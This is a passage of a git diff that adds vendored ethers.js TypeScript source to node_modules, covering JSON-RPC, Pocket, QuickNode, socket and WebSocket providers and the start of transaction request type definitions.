Resolves to the [[Signer]] account for %%address%% managed by + * the client. + * + * If the %%address%% is a number, it is used as an index in the + * the accounts from [[listAccounts]]. + * + * This can only be used on clients which manage accounts (such as + * Geth with imported account or MetaMask). + * + * Throws if the account doesn't exist. + */ + async getSigner(address?: number | string): Promise { + if (address == null) { address = 0; } + + const accountsPromise = this.send("eth_accounts", [ ]); + + // Account index + if (typeof(address) === "number") { + const accounts = >(await accountsPromise); + if (address >= accounts.length) { throw new Error("no such account"); } + return new JsonRpcSigner(this, accounts[address]); + } + + const { accounts } = await resolveProperties({ + network: this.getNetwork(), + accounts: accountsPromise + }); + + // Account address + address = getAddress(address); + for (const account of accounts) { + if (getAddress(account) === address) { + return new JsonRpcSigner(this, address); + } + } + + throw new Error("invalid account"); + } + + async listAccounts(): Promise> { + const accounts: Array = await this.send("eth_accounts", [ ]); + return accounts.map((a) => new JsonRpcSigner(this, a)); + } + + destroy(): void { + + // Stop processing requests + if (this.#drainTimer) { + clearTimeout(this.#drainTimer); + this.#drainTimer = null; + } + + // Cancel all pending requests + for (const { payload, reject } of this.#payloads) { + reject(makeError("provider destroyed; cancelled request", "UNSUPPORTED_OPERATION", { operation: payload.method })); + } + + this.#payloads = [ ]; + + // Parent clean-up + super.destroy(); + + } +} + +// @TODO: remove this in v7, it is not exported because this functionality +// is exposed in the JsonRpcApiProvider by setting polling to true. It should +// be safe to remove regardless, because it isn't reachable, but just in case. +/** + * @_ignore: + */ +export abstract class JsonRpcApiPollingProvider extends JsonRpcApiProvider { + #pollingInterval: number; + constructor(network?: Networkish, options?: JsonRpcApiProviderOptions) { + super(network, options); + + let pollingInterval = this._getOption("pollingInterval"); + if (pollingInterval == null) { pollingInterval = defaultOptions.pollingInterval; } + + this.#pollingInterval = pollingInterval; + } + + _getSubscriber(sub: Subscription): Subscriber { + const subscriber = super._getSubscriber(sub); + if (isPollable(subscriber)) { + subscriber.pollingInterval = this.#pollingInterval; + } + return subscriber; + } + + /** + * The polling interval (default: 4000 ms) + */ + get pollingInterval(): number { return this.#pollingInterval; } + set pollingInterval(value: number) { + if (!Number.isInteger(value) || value < 0) { throw new Error("invalid interval"); } + this.#pollingInterval = value; + this._forEachSubscriber((sub) => { + if (isPollable(sub)) { + sub.pollingInterval = this.#pollingInterval; + } + }); + } +} + +/** + * The JsonRpcProvider is one of the most common Providers, + * which performs all operations over HTTP (or HTTPS) requests. + * + * Events are processed by polling the backend for the current block + * number; when it advances, all block-base events are then checked + * for updates. + */ +export class JsonRpcProvider extends JsonRpcApiPollingProvider { + #connect: FetchRequest; + + constructor(url?: string | FetchRequest, network?: Networkish, options?: JsonRpcApiProviderOptions) { + if (url == null) { url = "http:/\/localhost:8545"; } + super(network, options); + + if (typeof(url) === "string") { + this.#connect = new FetchRequest(url); + } else { + this.#connect = url.clone(); + } + } + + _getConnection(): FetchRequest { + return this.#connect.clone(); + } + + async send(method: string, params: Array | Record): Promise { + // All requests are over HTTP, so we can just start handling requests + // We do this here rather than the constructor so that we don't send any + // requests to the network (i.e. eth_chainId) until we absolutely have to. + await this._start(); + + return await super.send(method, params); + } + + async _send(payload: JsonRpcPayload | Array): Promise> { + // Configure a POST connection for the requested method + const request = this._getConnection(); + request.body = JSON.stringify(payload); + request.setHeader("content-type", "application/json"); + const response = await request.send(); + response.assertOk(); + + let resp = response.bodyJson; + if (!Array.isArray(resp)) { resp = [ resp ]; } + + return resp; + } +} + +function spelunkData(value: any): null | { message: string, data: string } { + if (value == null) { return null; } + + // These *are* the droids we're looking for. + if (typeof(value.message) === "string" && value.message.match(/revert/i) && isHexString(value.data)) { + return { message: value.message, data: value.data }; + } + + // Spelunk further... + if (typeof(value) === "object") { + for (const key in value) { + const result = spelunkData(value[key]); + if (result) { return result; } + } + return null; + } + + // Might be a JSON string we can further descend... + if (typeof(value) === "string") { + try { + return spelunkData(JSON.parse(value)); + } catch (error) { } + } + + return null; +} + +function _spelunkMessage(value: any, result: Array): void { + if (value == null) { return; } + + // These *are* the droids we're looking for. + if (typeof(value.message) === "string") { + result.push(value.message); + } + + // Spelunk further... + if (typeof(value) === "object") { + for (const key in value) { + _spelunkMessage(value[key], result); + } + } + + // Might be a JSON string we can further descend... + if (typeof(value) === "string") { + try { + return _spelunkMessage(JSON.parse(value), result); + } catch (error) { } + } +} + +function spelunkMessage(value: any): Array { + const result: Array = [ ]; + _spelunkMessage(value, result); + return result; +} diff --git a/node_modules/ethers/src.ts/providers/provider-pocket.ts b/node_modules/ethers/src.ts/providers/provider-pocket.ts new file mode 100644 index 000000000000..50f286403c91 --- /dev/null +++ b/node_modules/ethers/src.ts/providers/provider-pocket.ts @@ -0,0 +1,121 @@ +/** + * [[link-pocket]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Polygon (``matic``) + * - Arbitrum (``arbitrum``) + * + * @_subsection: api/providers/thirdparty:Pocket [providers-pocket] + */ +import { + defineProperties, FetchRequest, assertArgument +} from "../utils/index.js"; + +import { AbstractProvider } from "./abstract-provider.js"; +import { showThrottleMessage } from "./community.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; + +import type { CommunityResourcable } from "./community.js"; +import type { Networkish } from "./network.js"; + +const defaultApplicationId = "62e1ad51b37b8e00394bda3b"; + +function getHost(name: string): string { + switch (name) { + case "mainnet": + return "eth-mainnet.gateway.pokt.network"; + case "goerli": + return "eth-goerli.gateway.pokt.network"; + + case "matic": + return "poly-mainnet.gateway.pokt.network"; + case "matic-mumbai": + return "polygon-mumbai-rpc.gateway.pokt.network"; + } + + assertArgument(false, "unsupported network", "network", name); +} + + +/** + * The **PocketProvider** connects to the [[link-pocket]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-pocket-signup). + */ +export class PocketProvider extends JsonRpcProvider implements CommunityResourcable { + + /** + * The Application ID for the Pocket connection. + */ + readonly applicationId!: string; + + /** + * The Application Secret for making authenticated requests + * to the Pocket connection. + */ + readonly applicationSecret!: null | string; + + /** + * Create a new **PocketProvider**. + * + * By default connecting to ``mainnet`` with a highly throttled + * API key. + */ + constructor(_network?: Networkish, applicationId?: null | string, applicationSecret?: null | string) { + if (_network == null) { _network = "mainnet"; } + const network = Network.from(_network); + if (applicationId == null) { applicationId = defaultApplicationId; } + if (applicationSecret == null) { applicationSecret = null; } + + const options = { staticNetwork: network }; + + const request = PocketProvider.getRequest(network, applicationId, applicationSecret); + super(request, network, options); + + defineProperties(this, { applicationId, applicationSecret }); + } + + _getProvider(chainId: number): AbstractProvider { + try { + return new PocketProvider(chainId, this.applicationId, this.applicationSecret); + } catch (error) { } + return super._getProvider(chainId); + } + + /** + * Returns a prepared request for connecting to %%network%% with + * %%applicationId%%. + */ + static getRequest(network: Network, applicationId?: null | string, applicationSecret?: null | string): FetchRequest { + if (applicationId == null) { applicationId = defaultApplicationId; } + + const request = new FetchRequest(`https:/\/${ getHost(network.name) }/v1/lb/${ applicationId }`); + request.allowGzip = true; + + if (applicationSecret) { + request.setCredentials("", applicationSecret); + } + + if (applicationId === defaultApplicationId) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("PocketProvider"); + return true; + }; + } + + return request; + } + + isCommunityResource(): boolean { + return (this.applicationId === defaultApplicationId); + } +} diff --git a/node_modules/ethers/src.ts/providers/provider-quicknode.ts b/node_modules/ethers/src.ts/providers/provider-quicknode.ts new file mode 100644 index 000000000000..71bb83b6e87a --- /dev/null +++ b/node_modules/ethers/src.ts/providers/provider-quicknode.ts @@ -0,0 +1,177 @@ +/** + * [[link-quicknode]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Holesky Testnet (``holesky``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``) + * - Base Mainnet (``base``); + * - Base Goerli Testnet (``base-goerli``); + * - Base Sepolia Testnet (``base-sepolia``); + * - BNB Smart Chain Mainnet (``bnb``) + * - BNB Smart Chain Testnet (``bnbt``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:QuickNode [providers-quicknode] + */ + +import { + defineProperties, FetchRequest, assertArgument +} from "../utils/index.js"; + +import { showThrottleMessage } from "./community.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; + +import type { AbstractProvider } from "./abstract-provider.js"; +import type { CommunityResourcable } from "./community.js"; +import type { Networkish } from "./network.js"; + + +const defaultToken = "919b412a057b5e9c9b6dce193c5a60242d6efadb"; + +function getHost(name: string): string { + switch(name) { + case "mainnet": + return "ethers.quiknode.pro"; + case "goerli": + return "ethers.ethereum-goerli.quiknode.pro"; + case "sepolia": + return "ethers.ethereum-sepolia.quiknode.pro"; + case "holesky": + return "ethers.ethereum-holesky.quiknode.pro"; + + case "arbitrum": + return "ethers.arbitrum-mainnet.quiknode.pro"; + case "arbitrum-goerli": + return "ethers.arbitrum-goerli.quiknode.pro"; + case "arbitrum-sepolia": + return "ethers.arbitrum-sepolia.quiknode.pro"; + case "base": + return "ethers.base-mainnet.quiknode.pro"; + case "base-goerli": + return "ethers.base-goerli.quiknode.pro"; + case "base-spolia": + return "ethers.base-sepolia.quiknode.pro"; + case "bnb": + return "ethers.bsc.quiknode.pro"; + case "bnbt": + return "ethers.bsc-testnet.quiknode.pro"; + case "matic": + return "ethers.matic.quiknode.pro"; + case "matic-mumbai": + return "ethers.matic-testnet.quiknode.pro"; + case "optimism": + return "ethers.optimism.quiknode.pro"; + case "optimism-goerli": + return "ethers.optimism-goerli.quiknode.pro"; + case "optimism-sepolia": + return "ethers.optimism-sepolia.quiknode.pro"; + case "xdai": + return "ethers.xdai.quiknode.pro"; + } + + assertArgument(false, "unsupported network", "network", name); +} + +/* +@TODO: + These networks are not currently present in the Network + default included networks. Research them and ensure they + are EVM compatible and work with ethers + + http://ethers.matic-amoy.quiknode.pro + + http://ethers.avalanche-mainnet.quiknode.pro + http://ethers.avalanche-testnet.quiknode.pro + http://ethers.blast-sepolia.quiknode.pro + http://ethers.celo-mainnet.quiknode.pro + http://ethers.fantom.quiknode.pro + http://ethers.imx-demo.quiknode.pro + http://ethers.imx-mainnet.quiknode.pro + http://ethers.imx-testnet.quiknode.pro + http://ethers.near-mainnet.quiknode.pro + http://ethers.near-testnet.quiknode.pro + http://ethers.nova-mainnet.quiknode.pro + http://ethers.scroll-mainnet.quiknode.pro + http://ethers.scroll-testnet.quiknode.pro + http://ethers.tron-mainnet.quiknode.pro + http://ethers.zkevm-mainnet.quiknode.pro + http://ethers.zkevm-testnet.quiknode.pro + http://ethers.zksync-mainnet.quiknode.pro + http://ethers.zksync-testnet.quiknode.pro +*/ + + + +/** + * The **QuickNodeProvider** connects to the [[link-quicknode]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API token is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-quicknode). + */ +export class QuickNodeProvider extends JsonRpcProvider implements CommunityResourcable { + /** + * The API token. + */ + readonly token!: string; + + /** + * Creates a new **QuickNodeProvider**. + */ + constructor(_network?: Networkish, token?: null | string) { + if (_network == null) { _network = "mainnet"; } + const network = Network.from(_network); + if (token == null) { token = defaultToken; } + + const request = QuickNodeProvider.getRequest(network, token); + super(request, network, { staticNetwork: network }); + + defineProperties(this, { token }); + } + + _getProvider(chainId: number): AbstractProvider { + try { + return new QuickNodeProvider(chainId, this.token); + } catch (error) { } + return super._getProvider(chainId); + } + + isCommunityResource(): boolean { + return (this.token === defaultToken); + } + + /** + * Returns a new request prepared for %%network%% and the + * %%token%%. + */ + static getRequest(network: Network, token?: null | string): FetchRequest { + if (token == null) { token = defaultToken; } + + const request = new FetchRequest(`https:/\/${ getHost(network.name) }/${ token }`); + request.allowGzip = true; + //if (projectSecret) { request.setCredentials("", projectSecret); } + + if (token === defaultToken) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("QuickNodeProvider"); + return true; + }; + } + + return request; + } +} diff --git a/node_modules/ethers/src.ts/providers/provider-socket.ts b/node_modules/ethers/src.ts/providers/provider-socket.ts new file mode 100644 index 000000000000..db14b70e8407 --- /dev/null +++ b/node_modules/ethers/src.ts/providers/provider-socket.ts @@ -0,0 +1,352 @@ +/** + * Generic long-lived socket provider. + * + * Sub-classing notes + * - a sub-class MUST call the `_start()` method once connected + * - a sub-class MUST override the `_write(string)` method + * - a sub-class MUST call `_processMessage(string)` for each message + * + * @_subsection: api/providers/abstract-provider:Socket Providers [about-socketProvider] + */ + +import { UnmanagedSubscriber } from "./abstract-provider.js"; +import { assert, assertArgument, makeError } from "../utils/index.js"; +import { JsonRpcApiProvider } from "./provider-jsonrpc.js"; + +import type { Subscriber, Subscription } from "./abstract-provider.js"; +import type { EventFilter } from "./provider.js"; +import type { + JsonRpcApiProviderOptions, JsonRpcError, JsonRpcPayload, JsonRpcResult +} from "./provider-jsonrpc.js"; +import type { Networkish } from "./network.js"; + + +type JsonRpcSubscription = { + method: string, + params: { + result: any, + subscription: string + } +}; + +/** + * A **SocketSubscriber** uses a socket transport to handle events and + * should use [[_emit]] to manage the events. + */ +export class SocketSubscriber implements Subscriber { + #provider: SocketProvider; + + #filter: string; + + /** + * The filter. + */ + get filter(): Array { return JSON.parse(this.#filter); } + + #filterId: null | Promise; + #paused: null | boolean; + + #emitPromise: null | Promise; + + /** + * Creates a new **SocketSubscriber** attached to %%provider%% listening + * to %%filter%%. + */ + constructor(provider: SocketProvider, filter: Array) { + this.#provider = provider; + this.#filter = JSON.stringify(filter); + this.#filterId = null; + this.#paused = null; + this.#emitPromise = null; + } + + start(): void { + this.#filterId = this.#provider.send("eth_subscribe", this.filter).then((filterId) => {; + this.#provider._register(filterId, this); + return filterId; + }); + } + + stop(): void { + (>(this.#filterId)).then((filterId) => { + if (this.#provider.destroyed) { return; } + this.#provider.send("eth_unsubscribe", [ filterId ]); + }); + this.#filterId = null; + } + + // @TODO: pause should trap the current blockNumber, unsub, and on resume use getLogs + // and resume + pause(dropWhilePaused?: boolean): void { + assert(dropWhilePaused, "preserve logs while paused not supported by SocketSubscriber yet", + "UNSUPPORTED_OPERATION", { operation: "pause(false)" }); + this.#paused = !!dropWhilePaused; + } + + resume(): void { + this.#paused = null; + } + + /** + * @_ignore: + */ + _handleMessage(message: any): void { + if (this.#filterId == null) { return; } + if (this.#paused === null) { + let emitPromise: null | Promise = this.#emitPromise; + if (emitPromise == null) { + emitPromise = this._emit(this.#provider, message); + } else { + emitPromise = emitPromise.then(async () => { + await this._emit(this.#provider, message); + }); + } + this.#emitPromise = emitPromise.then(() => { + if (this.#emitPromise === emitPromise) { + this.#emitPromise = null; + } + }); + } + } + + /** + * Sub-classes **must** override this to emit the events on the + * provider. + */ + async _emit(provider: SocketProvider, message: any): Promise { + throw new Error("sub-classes must implemente this; _emit"); + } +} + +/** + * A **SocketBlockSubscriber** listens for ``newHeads`` events and emits + * ``"block"`` events. + */ +export class SocketBlockSubscriber extends SocketSubscriber { + /** + * @_ignore: + */ + constructor(provider: SocketProvider) { + super(provider, [ "newHeads" ]); + } + + async _emit(provider: SocketProvider, message: any): Promise { + provider.emit("block", parseInt(message.number)); + } +} + +/** + * A **SocketPendingSubscriber** listens for pending transacitons and emits + * ``"pending"`` events. + */ +export class SocketPendingSubscriber extends SocketSubscriber { + + /** + * @_ignore: + */ + constructor(provider: SocketProvider) { + super(provider, [ "newPendingTransactions" ]); + } + + async _emit(provider: SocketProvider, message: any): Promise { + provider.emit("pending", message); + } +} + +/** + * A **SocketEventSubscriber** listens for event logs. + */ +export class SocketEventSubscriber extends SocketSubscriber { + #logFilter: string; + + /** + * The filter. + */ + get logFilter(): EventFilter { return JSON.parse(this.#logFilter); } + + /** + * @_ignore: + */ + constructor(provider: SocketProvider, filter: EventFilter) { + super(provider, [ "logs", filter ]); + this.#logFilter = JSON.stringify(filter); + } + + async _emit(provider: SocketProvider, message: any): Promise { + provider.emit(this.logFilter, provider._wrapLog(message, provider._network)); + } +} + +/** + * A **SocketProvider** is backed by a long-lived connection over a + * socket, which can subscribe and receive real-time messages over + * its communication channel. + */ +export class SocketProvider extends JsonRpcApiProvider { + #callbacks: Map void, reject: (e: Error) => void }>; + + // Maps each filterId to its subscriber + #subs: Map; + + // If any events come in before a subscriber has finished + // registering, queue them + #pending: Map>; + + /** + * Creates a new **SocketProvider** connected to %%network%%. + * + * If unspecified, the network will be discovered. + */ + constructor(network?: Networkish, _options?: JsonRpcApiProviderOptions) { + // Copy the options + const options = Object.assign({ }, (_options != null) ? _options: { }); + + // Support for batches is generally not supported for + // connection-base providers; if this changes in the future + // the _send should be updated to reflect this + assertArgument(options.batchMaxCount == null || options.batchMaxCount === 1, + "sockets-based providers do not support batches", "options.batchMaxCount", _options); + options.batchMaxCount = 1; + + // Socket-based Providers (generally) cannot change their network, + // since they have a long-lived connection; but let people override + // this if they have just cause. + if (options.staticNetwork == null) { options.staticNetwork = true; } + + super(network, options); + this.#callbacks = new Map(); + this.#subs = new Map(); + this.#pending = new Map(); + } + + // This value is only valid after _start has been called + /* + get _network(): Network { + if (this.#network == null) { + throw new Error("this shouldn't happen"); + } + return this.#network.clone(); + } + */ + + _getSubscriber(sub: Subscription): Subscriber { + switch (sub.type) { + case "close": + return new UnmanagedSubscriber("close"); + case "block": + return new SocketBlockSubscriber(this); + case "pending": + return new SocketPendingSubscriber(this); + case "event": + return new SocketEventSubscriber(this, sub.filter); + case "orphan": + // Handled auto-matically within AbstractProvider + // when the log.removed = true + if (sub.filter.orphan === "drop-log") { + return new UnmanagedSubscriber("drop-log"); + } + } + return super._getSubscriber(sub); + } + + /** + * Register a new subscriber. This is used internalled by Subscribers + * and generally is unecessary unless extending capabilities. + */ + _register(filterId: number | string, subscriber: SocketSubscriber): void { + this.#subs.set(filterId, subscriber); + const pending = this.#pending.get(filterId); + if (pending) { + for (const message of pending) { + subscriber._handleMessage(message); + } + this.#pending.delete(filterId); + } + } + + async _send(payload: JsonRpcPayload | Array): Promise> { + // WebSocket provider doesn't accept batches + assertArgument(!Array.isArray(payload), "WebSocket does not support batch send", "payload", payload); + + // @TODO: stringify payloads here and store to prevent mutations + + // Prepare a promise to respond to + const promise = new Promise((resolve, reject) => { + this.#callbacks.set(payload.id, { payload, resolve, reject }); + }); + + // Wait until the socket is connected before writing to it + await this._waitUntilReady(); + + // Write the request to the socket + await this._write(JSON.stringify(payload)); + + return >[ await promise ]; + } + + // Sub-classes must call this once they are connected + /* + async _start(): Promise { + if (this.#ready) { return; } + + for (const { payload } of this.#callbacks.values()) { + await this._write(JSON.stringify(payload)); + } + + this.#ready = (async function() { + await super._start(); + })(); + } + */ + + /** + * Sub-classes **must** call this with messages received over their + * transport to be processed and dispatched. + */ + async _processMessage(message: string): Promise { + const result = (JSON.parse(message)); + + if (result && typeof(result) === "object" && "id" in result) { + const callback = this.#callbacks.get(result.id); + if (callback == null) { + this.emit("error", makeError("received result for unknown id", "UNKNOWN_ERROR", { + reasonCode: "UNKNOWN_ID", + result + })); + return; + } + this.#callbacks.delete(result.id); + + callback.resolve(result); + + } else if (result && result.method === "eth_subscription") { + const filterId = result.params.subscription; + const subscriber = this.#subs.get(filterId); + if (subscriber) { + subscriber._handleMessage(result.params.result); + } else { + let pending = this.#pending.get(filterId); + if (pending == null) { + pending = [ ]; + this.#pending.set(filterId, pending); + } + pending.push(result.params.result); + } + + } else { + this.emit("error", makeError("received unexpected message", "UNKNOWN_ERROR", { + reasonCode: "UNEXPECTED_MESSAGE", + result + })); + return; + } + } + + /** + * Sub-classes **must** override this to send %%message%% over their + * transport. + */ + async _write(message: string): Promise { + throw new Error("sub-classes must override this"); + } +} diff --git a/node_modules/ethers/src.ts/providers/provider-websocket.ts b/node_modules/ethers/src.ts/providers/provider-websocket.ts new file mode 100644 index 000000000000..ee1cf847fafe --- /dev/null +++ b/node_modules/ethers/src.ts/providers/provider-websocket.ts @@ -0,0 +1,103 @@ + + +import { WebSocket as _WebSocket } from "./ws.js"; /*-browser*/ + +import { SocketProvider } from "./provider-socket.js"; + +import type { JsonRpcApiProviderOptions} from "./provider-jsonrpc.js"; +import type { Networkish } from "./network.js"; + +/** + * A generic interface to a Websocket-like object. + */ +export interface WebSocketLike { + onopen: null | ((...args: Array) => any); + onmessage: null | ((...args: Array) => any); + onerror: null | ((...args: Array) => any); + + readyState: number; + + send(payload: any): void; + close(code?: number, reason?: string): void; +} + +/** + * A function which can be used to re-create a WebSocket connection + * on disconnect. + */ +export type WebSocketCreator = () => WebSocketLike; + +/** + * A JSON-RPC provider which is backed by a WebSocket. + * + * WebSockets are often preferred because they retain a live connection + * to a server, which permits more instant access to events. + * + * However, this incurs higher server infrasturture costs, so additional + * resources may be required to host your own WebSocket nodes and many + * third-party services charge additional fees for WebSocket endpoints. + */ +export class WebSocketProvider extends SocketProvider { + #connect: null | WebSocketCreator; + + #websocket: null | WebSocketLike; + get websocket(): WebSocketLike { + if (this.#websocket == null) { throw new Error("websocket closed"); } + return this.#websocket; + } + + constructor(url: string | WebSocketLike | WebSocketCreator, network?: Networkish, options?: JsonRpcApiProviderOptions) { + super(network, options); + if (typeof(url) === "string") { + this.#connect = () => { return new _WebSocket(url); }; + this.#websocket = this.#connect(); + } else if (typeof(url) === "function") { + this.#connect = url; + this.#websocket = url(); + } else { + this.#connect = null; + this.#websocket = url; + } + + this.websocket.onopen = async () => { + try { + await this._start() + this.resume(); + } catch (error) { + console.log("failed to start WebsocketProvider", error); + // @TODO: now what? Attempt reconnect? + } + }; + + this.websocket.onmessage = (message: { data: string }) => { + this._processMessage(message.data); + }; +/* + this.websocket.onclose = (event) => { + // @TODO: What event.code should we reconnect on? + const reconnect = false; + if (reconnect) { + this.pause(true); + if (this.#connect) { + this.#websocket = this.#connect(); + this.#websocket.onopen = ... + // @TODO: this requires the super class to rebroadcast; move it there + } + this._reconnect(); + } + }; +*/ + } + + async _write(message: string): Promise { + this.websocket.send(message); + } + + async destroy(): Promise { + if (this.#websocket != null) { + this.#websocket.close(); + this.#websocket = null; + } + super.destroy(); + } +} diff --git a/node_modules/ethers/src.ts/providers/provider.ts b/node_modules/ethers/src.ts/providers/provider.ts new file mode 100644 index 000000000000..1e1e64bba4ed --- /dev/null +++ b/node_modules/ethers/src.ts/providers/provider.ts @@ -0,0 +1,2136 @@ +//import { resolveAddress } from "@ethersproject/address"; +import { + defineProperties, getBigInt, getNumber, hexlify, isBytesLike, + resolveProperties, + assert, assertArgument, isError, makeError +} from "../utils/index.js"; +import { accessListify } from "../transaction/index.js"; + +import type { AddressLike, NameResolver } from "../address/index.js"; +import type { BigNumberish, EventEmitterable } from "../utils/index.js"; +import type { Signature } from "../crypto/index.js"; +import type { + AccessList, AccessListish, Authorization, AuthorizationLike, BlobLike, + KzgLibraryLike, TransactionLike +} from "../transaction/index.js"; + +import type { ContractRunner } from "./contracts.js"; +import type { Network } from "./network.js"; + + +const BN_0 = BigInt(0); + +/** + * A **BlockTag** specifies a specific block. + * + * **numeric value** - specifies the block height, where + * the genesis block is block 0; many operations accept a negative + * value which indicates the block number should be deducted from + * the most recent block. A numeric value may be a ``number``, ``bigint``, + * or a decimal of hex string. + * + * **blockhash** - specifies a specific block by its blockhash; this allows + * potentially orphaned blocks to be specifed, without ambiguity, but many + * backends do not support this for some operations. + */ +export type BlockTag = BigNumberish | string; + +import { + BlockParams, LogParams, TransactionReceiptParams, + TransactionResponseParams +} from "./formatting.js"; + +// ----------------------- + +function getValue(value: undefined | null | T): null | T { + if (value == null) { return null; } + return value; +} + +function toJson(value: null | bigint): null | string { + if (value == null) { return null; } + return value.toString(); +} + +// @TODO? implements Required + +/** + * A **FeeData** wraps all the fee-related values associated with + * the network. + */ +export class FeeData { + /** + * The gas price for legacy networks. + */ + readonly gasPrice!: null | bigint; + + /** + * The maximum fee to pay per gas. + * + * The base fee per gas is defined by the network and based on + * congestion, increasing the cost during times of heavy load + * and lowering when less busy. + * + * The actual fee per gas will be the base fee for the block + * and the priority fee, up to the max fee per gas. + * + * This will be ``null`` on legacy networks (i.e. [pre-EIP-1559](link-eip-1559)) + */ + readonly maxFeePerGas!: null | bigint; + + /** + * The additional amout to pay per gas to encourage a validator + * to include the transaction. + * + * The purpose of this is to compensate the validator for the + * adjusted risk for including a given transaction. + * + * This will be ``null`` on legacy networks (i.e. [pre-EIP-1559](link-eip-1559)) + */ + readonly maxPriorityFeePerGas!: null | bigint; + + /** + * Creates a new FeeData for %%gasPrice%%, %%maxFeePerGas%% and + * %%maxPriorityFeePerGas%%. + */ + constructor(gasPrice?: null | bigint, maxFeePerGas?: null | bigint, maxPriorityFeePerGas?: null | bigint) { + defineProperties(this, { + gasPrice: getValue(gasPrice), + maxFeePerGas: getValue(maxFeePerGas), + maxPriorityFeePerGas: getValue(maxPriorityFeePerGas) + }); + } + + /** + * Returns a JSON-friendly value. + */ + toJSON(): any { + const { + gasPrice, maxFeePerGas, maxPriorityFeePerGas + } = this; + return { + _type: "FeeData", + gasPrice: toJson(gasPrice), + maxFeePerGas: toJson(maxFeePerGas), + maxPriorityFeePerGas: toJson(maxPriorityFeePerGas), + }; + } +} + + +/** + * A **TransactionRequest** is a transactions with potentially various + * properties not defined, or with less strict types for its values. + * + * This is used to pass to various operations, which will internally + * coerce any types and populate any necessary values. + */ +export interface TransactionRequest { + /** + * The transaction type. + */ + type?: null | number; + + /** + * The target of the transaction. + */ + to?: null | AddressLike; + + /** + * The sender of the transaction. + */ + from?: null | AddressLike; + + /** + * The nonce of the transaction, used to prevent replay attacks. + */ + nonce?: null | number; + + /** + * The maximum amount of gas to allow this transaction to consume. + */ + gasLimit?: null | BigNumberish; + + /** + * The gas price to use for legacy transactions or transactions on + * legacy networks. + * + * Most of the time the ``max*FeePerGas`` is preferred. + */ + gasPrice?: null | BigNumberish; + + /** + * The [[link-eip-1559]] maximum priority fee to pay per gas. + */ + maxPriorityFeePerGas?: null | BigNumberish; + + /** + * The [[link-eip-1559]] maximum total fee to pay per gas. The actual + * value used is protocol enforced to be the block's base fee. + */ + maxFeePerGas?: null | BigNumberish; + + /** + * The transaction data. + */ + data?: null | string; + + /** + * The transaction value (in wei). + */ + value?: null | BigNumberish; + + /** + * The chain ID for the network this transaction is valid on. + */ + chainId?: null | BigNumberish; + + /** + * The [[link-eip-2930]] access list. Storage slots included in the access + * list are //warmed// by pre-loading them, so their initial cost to + * fetch is guaranteed, but then each additional access is cheaper. + */ + accessList?: null | AccessListish; + + /** + * A custom object, which can be passed along for network-specific + * values. + */ + customData?: any; + + // Only meaningful when used for call + + /** + * When using ``call`` or ``estimateGas``, this allows a specific + * block to be queried. Many backends do not support this and when + * unsupported errors are silently squelched and ``"latest"`` is used. + */ + blockTag?: BlockTag; + + /** + * When using ``call``, this enables CCIP-read, which permits the + * provider to be redirected to web-based content during execution, + * which is then further validated by the contract. + * + * There are potential security implications allowing CCIP-read, as + * it could be used to expose the IP address or user activity during + * the fetch to unexpected parties. + */ + enableCcipRead?: boolean; + + /** + * The blob versioned hashes (see [[link-eip-4844]]). + */ + blobVersionedHashes?: null | Array + + /** + * The maximum fee per blob gas (see [[link-eip-4844]]). + */ + maxFeePerBlobGas?: null | BigNumberish; + + /** + * Any blobs to include in the transaction (see [[link-eip-4844]]). + */ + blobs?: null | Array; + + /** + * An external library for computing the KZG commitments and + * proofs necessary for EIP-4844 transactions (see [[link-eip-4844]]). + * + * This is generally ``null``, unless you are creating BLOb + * transactions. + */ + kzg?: null | KzgLibraryLike; + + /** + * The [[link-eip-7702]] authorizations (if any). + */ + authorizationList?: null | Array; + + // Todo? + //gasMultiplier?: number; +}; + +/** + * A **PreparedTransactionRequest** is identical to a [[TransactionRequest]] + * except all the property types are strictly enforced. + */ +export interface PreparedTransactionRequest { + /** + * The transaction type. + */ + type?: number; + + + /** + * The target of the transaction. + */ + to?: AddressLike; + + /** + * The sender of the transaction. + */ + from?: AddressLike; + + /** + * The nonce of the transaction, used to prevent replay attacks. + */ + + nonce?: number; + + /** + * The maximum amount of gas to allow this transaction to consume. + */ + gasLimit?: bigint; + + /** + * The gas price to use for legacy transactions or transactions on + * legacy networks. + * + * Most of the time the ``max*FeePerGas`` is preferred. + */ + gasPrice?: bigint; + + /** + * The [[link-eip-1559]] maximum priority fee to pay per gas. + */ + maxPriorityFeePerGas?: bigint; + + /** + * The [[link-eip-1559]] maximum total fee to pay per gas. The actual + * value used is protocol enforced to be the block's base fee. + */ + maxFeePerGas?: bigint; + + /** + * The transaction data. + */ + data?: string; + + + /** + * The transaction value (in wei). + */ + value?: bigint; + + /** + * The chain ID for the network this transaction is valid on. + */ + chainId?: bigint; + + /** + * The [[link-eip-2930]] access list. Storage slots included in the access + * list are //warmed// by pre-loading them, so their initial cost to + * fetch is guaranteed, but then each additional access is cheaper. + */ + accessList?: AccessList; + + /** + * The [[link-eip-7702]] authorizations (if any). + */ + authorizationList?: Array; + + /** + * A custom object, which can be passed along for network-specific + * values. + */ + customData?: any; + + + + /** + * When using ``call`` or ``estimateGas``, this allows a specific + * block to be queried. Many backends do not support this and when + * unsupported errors are silently squelched and ``"latest"`` is used. + */ + blockTag?: BlockTag; + 